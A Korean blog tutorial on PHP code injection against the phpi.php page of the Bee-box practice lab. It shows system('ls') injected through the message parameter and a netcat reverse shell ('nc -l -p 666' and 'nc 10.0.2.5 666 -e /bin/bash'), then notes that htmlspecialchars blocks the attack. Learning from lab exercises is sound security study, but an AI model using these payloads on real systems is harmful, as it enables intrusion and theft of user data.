반응형
SMALL

이번에는 기타 인젝션들에 대해 포스팅해보려고 한다. 일단 앞에 설명한 인젝션들이 큰 틀이기 때문에 이번 포스팅도 이해하는건 그리 어렵지 않다.



*공격 실습*


1. php 인젝션이란?



사진에 나오는 화면과 같이 나오면 정상적으로 실행된 것이다. php 인젝션이란 phpi.php 파일에서 message값 검증 미흡으로 시스템 정보가 유출될 수 있는 인젝션이다. 주로 message의 취약점을 이용해서 공격하는 방법이다.



(1) URL에 취약한 변수인 message값을 변조해서 요청하기



이런식으로 test 끝에 system('ls')라는 명령어를 입력해주게 되면 사용자 폴더안에 있는 php 파일들을 전부다 탈취해올 수 있다. 사실 이렇게 노출되면 굉장히 위험하다. 




이런식으로 phpi.php 파일을 비박스에서 열어보면 다음과 같은 코드들이 나타나는데 eval이라는 함수가 있는데 이건 echo값을 그대로 받겠다는 의미이다. 즉, 사용자가 php파일을 직접 작성해서 공격할 수 있다는 것이므로 쓰면 매우 위험한 함수중에 하나기도 하다. 아래 사진은 필자가 직접 작성한 php 파일이다.





이렇게 만든파일을 주소에 넣고 웹페이지를 실행시키게 되면 저런식으로 사용자가 어떤 파일들을 갖고 있는지 상세하게 나타나게 된다. 이렇듯 eval함수를 써서 echo함수를 쓰게 되면 보안레벨이 그만큼 낮아지며 사용자가 이렇게 php파일을 작성해서 공격할 수 있는 취약점이 드러나게 된다. 반면 보안레벨을 High로 맞춰놨을 경우에 실행시키면 아래 사진과 같다.





이렇게 시스템함수를 입력해줘도 본인이 입력한 system('ls')라는 문구가 그대로 표시되게 된다. 



phpi.php파일을 다시 보게 되면 else쪽에서 htmlspacialchars함수를 써서 메시지를 처리해주고 있는게 보인다. htmlspecialchars함수는 특정한 특수문자들을 html엔티티로 변환시켜주며 xss공격을 방어해주는 함수이기도 하다. 


(2) 웹서버를 쉘에 연결해 공격하기




이런식으로 칼리리눅스에 nc -l -p 666이라고 입력해준다. 커서가 깜빡거리고 아무것도 나오지 않으면 웹서버가 잘 동작하고 있는 것이다.



이렇게 클라이언트에는 system('nc 10.0.2.5 666 -e /bin/bash')라고 message뒤에 입력해준다. 이때 프록시를 잡아줘야 연결이 가능하다.





이렇게 ls를 쳐주게 되면 사용자 정보, 사용자가 갖고 있는 파일들을 전부 확인할 수 있다. whoami같은 명령어로 사용자 정보 탈취가 가능하게 된다. 이에 따른 대응방안은 위에서 설명했듯이 htmlspacialchars함수에 달려 있다. 보안이 낮으면 이렇게 전부 다 유출이 되며 보안이 높으면 악성 php코드를 입력해도 전부 필터링 걸리게 되어 동작하지 않게 된다.



반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
HTML 인젝션(2)-Stored  (0) 2017.12.25
HTML 인젝션(1)-Reflected  (8) 2017.12.25
칼리리눅스, Bee Box 설치  (0) 2017.12.25
블로그 이미지

만년필석사

,